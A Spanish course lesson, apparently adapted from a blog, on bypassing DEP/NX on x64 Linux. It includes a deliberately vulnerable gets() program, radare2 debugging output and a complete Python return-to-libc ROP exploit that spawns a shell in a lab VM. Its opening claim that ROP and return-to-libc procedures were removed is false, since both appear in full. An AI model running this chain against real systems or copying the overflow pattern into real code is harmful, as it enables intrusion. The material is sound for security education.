Relacionar permisos de memoria, transferencias de control y mitigaciones de ejecución.
Edición parcial: diferencias con el original
Se excluyen la construcción de cadenas ROP y los procedimientos de return-to-libc del original. Esta página conserva la explicación de DEP, reutilización de código y protecciones complementarias.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «DEP, NX y reutilización de código» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
En esta lección ampliamos el análisis de la entrega anterior sobre explotación de desbordamientos de buffer en x64 aprendiendo a bypasear el mecanismo de Prevención de Ejecución de Datos, también conocido como DEP.
Acerca de la Prevención de Ejecución de Datos
Si recordamos bien, en nuestro ejemplo anterior explotamos una aplicación de servidor simple y tuvimos la oportunidad de ejecutar código alojado dentro de la pila compilando la aplicación vulnerable con el parámetro -z execstack. Básicamente ese parámetro marca la pila como ejecutable, así que podemos sobrescribir la dirección de RET (que se pasará a RIP) con alguna posición JMP/CALL/etc hacia nuestro shellcode en la pila. DEP funciona haciendo uso del bit NX. El bit NX (no-execute) o XD (eXecute Disabled) es una tecnología usada en CPUs para segregar áreas de memoria entre almacenamiento de instrucciones de procesador (código) o almacenamiento de datos. La pila se marca como zona de almacenamiento de datos.
Cuando DEP está habilitado (el SO soporta DEP) y el ejecutable lo tiene activo (compilado sin -z execstack), un exploit como el que escribimos fallará provocando una excepción ACCESS VIOLATION y ahí se quedará todo.
Normalmente, el mecanismo DEP puede bypassearse aplicando lo que se denomina un «ataque de reutilización de código» (code reuse attack). Un ataque de reutilización de código es una técnica de explotación que, tras obtener el control del puntero de instrucción, redirige el flujo de control del ejecutable hacia código existente que se ajusta a las necesidades del atacante. Es decir, sobrescribiremos áreas de memoria bajo nuestro control para redirigir el flujo de ejecución no hacia código en la pila, sino hacia instrucciones ubicadas en la parte ejecutable de la memoria que nos sean útiles. Return-into-library y secuencias de instrucciones preexistentes (gadgets) son ejemplos de esta técnica.
Cadenas ROP
Sabiendo eso, podemos sobrescribir la memoria apilando varias direcciones en la pila. La primera dirección apuntará a una secuencia de instrucciones donde la primera es la instrucción que queremos que el programa ejecute, SEGUIDA de una instrucción ret. La instrucción ret entonces hará POP de la dirección en el tope de la pila y continuará la ejecución desde ahí... ¿lo captas? Empiezas a hacer esto una y otra vez y básicamente obtienes lo que se llama una cadena ROP o cadena de programación orientada a retornos (Return Oriented Programming).
Una cadena ROP puede verse como algo así:
Acerca de «return to libc»
Si queremos implementar un ataque de cadena ROP necesitaremos encontrar código útil en memoria, especialmente código que tenga la posibilidad de hacer cosas útiles. Para nosotros, cosas útiles significará ejecutar funciones como system() para ejecutar comandos, o quizás listen()/connect()/accept(), write(), etc. Y siempre que sea posible nos gustaría poder usar esta misma estrategia en cualquier sitio. Ahí es donde la LIBC resulta muy conveniente. La LIBC es omnipresente en software compilado en C en sistemas Linux x64 al menos. Así que las cadenas ROP que escribamos usando direcciones de memoria de esta librería se ejecutarán en una amplia variedad de programas.
Una de las funciones más útiles contenidas en la librería LIBC es system(). En resumen, ejecuta un programa/comando especificado como parámetro. En nuestro caso nos gustaría ejecutar /bin/sh con ella para lanzar una shell. (Si te preguntas por qué querría hacer eso en un programa que ya se ejecuta desde la terminal en la máquina donde ya tengo una shell, te sugiero investigar sobre el sticky bit y los ataques SUID.)
Vamos a inspeccionar cómo funciona la llamada a system():
#include <stdlib.h>
int main(){
system("/bin/sh");
}
Compilamos y desensamblamos el código en r2:
[0x55555555464a]> pdf
;-- main:
;-- rax:
;-- rip:
/ (fcn) sym.main 23
| sym.main ();
| ; DATA XREF from 0x55555555455d (entry0)
| 0x55555555464a 55 push rbp
| 0x55555555464b 4889e5 mov rbp, rsp
| 0x55555555464e 488d3d9f0000. lea rdi, qword str.bin_sh ; 0x5555555546f4 ; "/bin/sh" ; const char * string
| 0x555555554655 e8c6feffff call sym.imp.system ; int system(const char *string)
| 0x55555555465a b800000000 mov eax, 0
| 0x55555555465f 5d pop rbp
\ 0x555555554660 c3 ret
[0x55555555464a]>
Y básicamente vemos /bin/sh siendo pasado como parámetro usando el registro rdi y system() siendo llamada.
También es importante para nosotros comprobar el proceso de cómo funciona la función system(), así podremos identificarla y depurar mejor nuestro exploit más adelante:
[0x55555555464a]> pdf
;-- main:
;-- rax:
/ (fcn) sym.main 23
| sym.main ();
| ; DATA XREF from 0x55555555455d (entry0)
| 0x55555555464a 55 push rbp
| 0x55555555464b 4889e5 mov rbp, rsp
| 0x55555555464e 488d3d9f0000. lea rdi, qword str.bin_sh ; 0x5555555546f4 ; "/bin/sh" ; const char * string
| ;-- rip:
| 0x555555554655 e8c6feffff call sym.imp.system ; int system(const char *string)
| 0x55555555465a b800000000 mov eax, 0
| 0x55555555465f 5d pop rbp
\ 0x555555554660 c3 ret
[0x55555555464a]> pxw @ rdi
0x5555555546f4 0x6e69622f 0x0068732f 0x3b031b01 0x00000038 /bin/sh....;8...
[0x555555554520]> ds
[0x7ffff7a31420]> pdf
p: Cannot find function at 0x7ffff7a31420
[0x7ffff7a31420]> pd 10
: ;-- rip:
: 0x7ffff7a31420 4885ff test rdi, rdi
,==< 0x7ffff7a31423 740b je 0x7ffff7a31430
|`=< 0x7ffff7a31425 e966faffff jmp 0x7ffff7a30e90
| 0x7ffff7a3142a 660f1f440000 nop word [rax + rax]
`--> 0x7ffff7a31430 488d3d594916. lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
0x7ffff7a31437 4883ec08 sub rsp, 8
0x7ffff7a3143b e850faffff call 0x7ffff7a30e90
Y habiendo visto eso, intentemos explotar este programa de ejemplo de este excelente post del blog
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void greet_me(){
char name[200];
gets(name);
printf("hi there %s !!\n",name);
}
int main(int argc, char *argv[]){
greet_me();
return 0;
}
Podemos compilarlo:
gcc -w -fno-stack-protector vuln.c -o vuln -D_FORTIFY_SOURCE0
El programa es simple: llama a greet_me() y luego escribimos cualquier cadena en un buffer limitado a 200 bytes. Como ya hemos visto, podemos desbordar el buffer enviando una cadena mayor de 200. Para agilizar podemos usar nuestra herramienta de patrones o ragg2 para generar un patrón y empezar a identificar las posiciones donde podemos controlar el buffer.
Ejecutaremos el programa; nos pedirá una cadena pero... ¿cómo se la pasamos al depurador de radare2? Podemos usar rarun2 para eso. Primero creamos un script como el siguiente:
#!/usr/bin/rarun2
stdio=/dev/pts/1
stdin=./payload
Donde payload es el buffer que queremos enviar a la ejecución (gets()). Podemos generar nuestro payload con:
python3 exploit.py > payload
OR
pattern_create.py 900 > payload
Después, radare2 se ejecutará así:
r2 -e dbg.profile=./script.rr2 -dA vuln
Sabiendo eso, procedemos y ejecutamos el programa mientras lo depuramos:
La pila tiene este aspecto:
[0x5555555546c6]> dr
rax = 0x00000265
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x00000258
r10 = 0x5555557574d1
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0e0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfe8
rbp = 0x3168413068413967
rip = 0x5555555546c6
rflags = 0x00010202
orax = 0xffffffffffffffff
[0x5555555546c6]>
[0x5555555546c6]> pxw @ rsp
0x7fffffffdfe8 0x41326841 0x68413368 0x35684134 0x41366841 Ah2Ah3Ah4Ah5Ah6A
0x7fffffffdff8 0x68413768 0x39684138 0x41306941 0x69413169 h7Ah8Ah9Ai0Ai1Ai
0x7fffffffe008 0x33694132 0x41346941 0x69413569 0x37694136 2Ai3Ai4Ai5Ai6Ai7
Vemos que desbordamos correctamente la pila y tenemos control sobre RBP.
lab@lab-VirtualBox:~$ python3 exploit-pattern/pattern.py 0x3168413068413967
Pattern 0x3168413068413967 first occurrence at position 208 in pattern.
lab@lab-VirtualBox:~$ python3 exploit-pattern/pattern.py 0x41326841
Pattern 0x41326841 first occurrence at position 216 in pattern.
lab@lab-VirtualBox:~$
Como sabemos que podemos controlar la pila / rbp y en qué posiciones, podemos empezar a dibujar un esqueleto para nuestro exploit:
import sys
import struct
buf = b"A"* 208
buf += b"BBBBBBBB" #RBP overwrite
buf += struct.pack('<Q',0x7fffffffdfe8) #RIP overwrite
sys.stdout.buffer.write(buf)
Y de nuevo usar rarun para lanzarlo:
python3 exploit.py > payload
r2 -e dbg.profile=./script.rr2 -dA vuln
En este punto empezaríamos a construir nuestro exploit haciendo uso de una cadena ROP. Primero necesitamos conocer las librerías disponibles, cargadas en el programa. Y buscar específicamente la LIBC:
[0x7ffff7dd4090]> iiq
free
_ITM_deregisterTMCloneTable
r_run_config_env
puts
dup2
strchr
r_run_parseline
close
__libc_start_main
strcmp
signal
r_run_new
__gmon_start__
r_run_free
r_run_start
r_run_help
r_str_newf
__printf_chk
r_sys_cmd
fwrite
_ITM_registerTMCloneTable
sleep
__cxa_finalize
stderr
_ITM_deregisterTMCloneTable
__libc_start_main
__gmon_start__
_ITM_registerTMCloneTable
__cxa_finalize
stderr
dm mostrará las librerías mapeadas en memoria. Podemos ver libc ahí:
[0x7fffffffdfe8]> dm
0x0000555555554000 # 0x0000555555555000 - usr 4K s -r-x /home/lab/vuln /home/lab/vuln ; map.usr_bin_rarun2._r_x
0x0000555555754000 # 0x0000555555755000 - usr 4K s -r-- /home/lab/vuln /home/lab/vuln
0x0000555555755000 # 0x0000555555756000 - usr 4K s -rw- /home/lab/vuln /home/lab/vuln ; map.usr_bin_rarun2._rw
0x0000555555756000 # 0x0000555555777000 - usr 132K s -rw- [heap] [heap] ; section_end.GNU_RELRO
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr 1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr 2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr 16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr 8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fe2000 # 0x00007ffff7fe4000 - usr 8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 * usr 132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x7fffffffdfe8]>
Y podemos buscar específicamente las posiciones de LIBC usando dmm:
[0x5555555546c7]> dmm~libc
0x7ffff79e2000 /lib/x86_64-linux-gnu/libc-2.27.so
Con eso conocemos la dirección base de libc una vez cargada en memoria. Si localizamos direcciones de funciones relevantes en memoria, podremos saber a qué distancia están de la dirección base y usar esa diferencia para llamarlas. Esto también puede hacerse offline en modo estático analizando el fichero de librería (.so).
También podemos hacerlo para encontrar direcciones tanto estáticas como dinámicas para nuestras llamadas de interés:
[0x7ffff7dd4090]> dmi libc system~ system$
Unknown library, or not found in dm
[0x7ffff7dd4090]> dcu main
Continue until 0x5555555546c7 using 1 bpsize
hit breakpoint at: 5555555546c7
[0x5555555546c7]> dmi libc system~ system$
1406 0x0004f420 0x7ffff7a31420 WEAK FUNC 45 system
[0x5555555546c7]>
Necesitaremos system() para lanzar un comando y exit() para salir del programa sin romper demasiado las cosas, básicamente.
[0x5555555546c7]> dmi libc exit~ exit$
132 0x00043110 0x7ffff7a25110 GLOBAL FUNC 26 exit
[0x5555555546c7]>
Y también necesitaremos un pop rdi, para poder usarlo para cargar un parámetro en RDI (/bin/sh) antes de la llamada a system().
[0x5555555546c7]> /R pop rdi
0x555555554753 5f pop rdi
0x555555554754 c3 ret
Y un ret para poder alinear la pila a 16B al ejecutar: (nota que podemos encontrar instrucciones como ret, pop, etc., tanto en el espacio de libc como en el espacio general del programa)
[0x5555555546c7]> /R ret
0x55555555428f 94 xchg eax, esp
0x555555554290 f2f8 clc
0x555555554292 2021 and byte [rcx], ah
0x555555554294 5a pop rdx
0x555555554295 c3 ret
0x555555554291 f8 clc
0x555555554292 2021 and byte [rcx], ah
0x555555554294 5a pop rdx
0x555555554295 c3 ret
Lo que queda es la dirección donde podemos encontrar la cadena /bin/sh (para poder cargar un puntero a ella dentro de rdi antes de llamar a system()).
Y como dijimos, podemos analizar directamente el fichero de libc y buscar la cadena. Encontraremos la dirección (estática).
lab@lab-VirtualBox:~$ r2 -A /lib/x86_64-linux-gnu/libc.so.6
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00021da0]> / /bin/sh
Searching 7 bytes in [0x0-0x1e6a7c]
hits: 1
Searching 7 bytes in [0x3e7618-0x3f0ae0]
hits: 0
0x001b3d88 hit0_0 .cempty == 1-c/bin/shexit 0canonica.
[0x00021da0]>
O podemos quizás hacer lo mismo en modo dinámico en radare buscando en todo el espacio de memoria:
[0x5555555546c7]> e search.in = dbg.maps
[0x5555555546c7]> / /bin/sh
0x7ffff7b95d88 hit0_0 .cempty == 1-c/bin/shexit 0canonica.
Y podemos restar la dirección base de libc a cualquier dirección fácilmente para conocer el delta:
[0x5555555546c7]> ?X 0x7ffff7b95d88-0x7ffff79e2000
1b3d88
Así que acabamos con las variables para nuestra cadena ROP de la siguiente forma:
libc_base_address = 0x7ffff79e2000
pop_rdi = 0x555555554753
ret = 0x555555554295
bin_sh = libc_base_address+0x1b3d88
system_call = libc_base_address+0x4f420
exit_call = libc_base_address+0x43110
Y podemos integrarlo en nuestro exploit:
import sys
import struct
libc_base_address = 0x7ffff79e2000
pop_rdi = 0x555555554753
ret = 0x555555554295
bin_sh = libc_base_address+0x1b3d88
system_call = libc_base_address+0x4f420
exit_call = libc_base_address+0x43110
buf = b"A"* 208
buf += b"BBBBBBBB" #RBP overwrite
#buf += struct.pack('<Q',ret)
buf += struct.pack('<Q',pop_rdi) #RIP overwrite
buf += struct.pack('<Q',bin_sh) #RIP overwrite
buf += struct.pack('<Q',system_call) #RIP overwrite
buf += struct.pack('<Q',exit_call) #RIP overwrite
sys.stdout.buffer.write(buf)
Y ya sabemos qué hacer. Podemos saltar a la función greet y colocar un breakpoint después de ret (recuerda: ret intentará retornar a la dirección en el tope de la pila, y nosotros controlamos la pila).
[0x55555555468a]> db 0x5555555546c6
[0x55555555468a]> dc
hit breakpoint at: 5555555546c6
[0x55555555468a]> pdf
/ (fcn) sym.greet_me 61
| sym.greet_me ();
| ; var int local_d0h @ rbp-0xd0
| ; CALL XREF from 0x5555555546db (sym.main)
| 0x55555555468a 55 push rbp
| 0x55555555468b 4889e5 mov rbp, rsp
| 0x55555555468e 4881ecd00000. sub rsp, 0xd0
| 0x555555554695 488d8530ffff. lea rax, qword [local_d0h]
| 0x55555555469c 4889c7 mov rdi, rax
| 0x55555555469f b800000000 mov eax, 0
| 0x5555555546a4 e8b7feffff call sym.imp.gets ; char*gets(char *s)
| 0x5555555546a9 488d8530ffff. lea rax, qword [local_d0h]
| 0x5555555546b0 4889c6 mov rsi, rax
| 0x5555555546b3 488d3dba0000. lea rdi, qword str.hi_there__s ; 0x555555554774 ; "hi there %s !!\n"
| 0x5555555546ba b800000000 mov eax, 0
| 0x5555555546bf e88cfeffff call sym.imp.printf ; int printf(const char *format)
| 0x5555555546c4 90 nop
| 0x5555555546c5 c9 leave
| ;-- rip:
\ 0x5555555546c6 b c3 ret
[0x55555555468a]>
Comprobamos que nuestro exploit se está disparando:
[0x55555555468a]> dr
rax = 0x000000eb
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x000000de
r10 = 0xffffff22
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0c0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfc8
rbp = 0x4242424242424242
rip = 0x5555555546c6
rflags = 0x00000206
orax = 0xffffffffffffffff
[0x55555555468a]>
[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8 0x55554753 0x00005555 0xf7b95d88 0x00007fff SGUUUU...]......
0x7fffffffdfd8 0xf7a31420 0x00007fff 0xf7a25110 0x00007fff ........Q......
0x7fffffffdfe8 0xf7a03c00 0x00007fff 0x00000001 0x00000000 .<..............
0x7fffffffdff8 0xffffe0c8 0x00007fff 0x00008000 0x00000001 ................
0x7fffffffe008 0x555546c7 0x00005555 0x00000000 0x00000000 .FUUUU..........
0x7fffffffe018 0x276cc210 0x3e4d7841 0x55554580 0x00005555 ..l'AxM>.EUUUU..
Vemos que tenemos nuestros parámetros en la pila listos para ser pop-eados.
[0x55555555468a]> pd 10 @ 0x0000555555554753
| 0x555555554753 5f pop rdi
\ 0x555555554754 c3 ret
[0x55555555468a]> pxw @ 0x00007ffff7b95d88
0x7ffff7b95d88 0x6e69622f 0x0068732f 0x74697865 0x63003020 /bin/sh.exit 0.c
0x7ffff7b95d98 0x6e6f6e61 0x6c616369 0x2e657a69 0x534d0063 anonicalize.c.MS
0x7ffff7b95da8 0x52455647 0x45530042 0x454c5f56 0x004c4556 GVERB.SEV_LEVEL.
[0x55555555468a]> pd 10 @ 0x00007ffff7a31420
: 0x7ffff7a31420 4885ff test rdi, rdi
,==< 0x7ffff7a31423 740b je 0x7ffff7a31430
|`=< 0x7ffff7a31425 e966faffff jmp 0x7ffff7a30e90
| 0x7ffff7a3142a 660f1f440000 nop word [rax + rax]
`--> 0x7ffff7a31430 488d3d594916. lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
0x7ffff7a31437 4883ec08 sub rsp, 8
0x7ffff7a3143b e850faffff call 0x7ffff7a30e90
0x7ffff7a31440 85c0 test eax, eax
0x7ffff7a31442 0f94c0 sete al
0x7ffff7a31445 4883c408 add rsp, 8
Todos colocados correctamente. Podemos continuar manualmente la ejecución del programa con ds, paso a paso, y vemos que al menos estamos entrando en la llamada a system():
[0x555555554753]> pd 10
| ;-- rip:
| 0x555555554753 5f pop rdi
\ 0x555555554754 c3 ret
[0x555555554753]> ds
[0x555555554753]> dr rdi
0x7ffff7b95d88
[0x555555554753]> pxw @ rdi
0x7ffff7b95d88 0x6e69622f 0x0068732f 0x74697865 0x63003020 /bin/sh.exit 0.c
[0x7ffff7a31420]> ds
[0x7ffff7a31420]> pd 10
: 0x7ffff7a31420 4885ff test rdi, rdi
: ;-- rip:
,==< 0x7ffff7a31423 740b je 0x7ffff7a31430
|`=< 0x7ffff7a31425 e966faffff jmp 0x7ffff7a30e90
| 0x7ffff7a3142a 660f1f440000 nop word [rax + rax]
`--> 0x7ffff7a31430 488d3d594916. lea rdi, qword [0x7ffff7b95d90] ; "exit 0"
dc
Pero si comprobamos, veremos que nuestro exploit no está funcionando del todo bien como esperábamos:
lab@lab-VirtualBox:~$ (python3 exploit.py ; cat) | ./vuln
hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBSGUUUU !!
ls
lab@lab-VirtualBox:~$
Eso es porque la pila necesita estar alineada a 16B (convención x64). Comprueba antes y después de añadir un RET extra como padding:
BEFORE
[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8 0x55554753 0x00005555 0xf7b95d88 0x00007fff SGUUUU...]......
0x7fffffffdfd8 0xf7a31420 0x00007fff 0xf7a25110 0x00007fff ........Q......
0x7fffffffdfe8 0xf7a03c00 0x00007fff 0x00000001 0x00000000 .<..............
AFTER
[0x55555555468a]> pxw @ rsp
0x7fffffffdfc8 0x55554295 0x00005555 0x55554753 0x00005555 .BUUUU..SGUUUU..
0x7fffffffdfd8 0xf7b95d88 0x00007fff 0xf7a31420 0x00007fff .]...... .......
0x7fffffffdfe8 0xf7a25110 0x00007fff 0x00000000 0x00000000 .Q..............
WE DO A STEP
ds
[0x555555554295]> pxw @ rsp
0x7fffffffdfd0 0x55554753 0x00005555 0xf7b95d88 0x00007fff SGUUUU...]......
0x7fffffffdfe0 0xf7a31420 0x00007fff 0xf7a25110 0x00007fff ........Q......
0x7fffffffdff0 0x00000000 0x00000000 0xffffe0c8 0x00007fff ................
lab@lab-VirtualBox:~$ (python3 exploit.py ; cat) | ./vuln
ls
file1
file2
flag.txt
Con esto concluye el ejemplo.
Referencias
Antes de continuar
Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.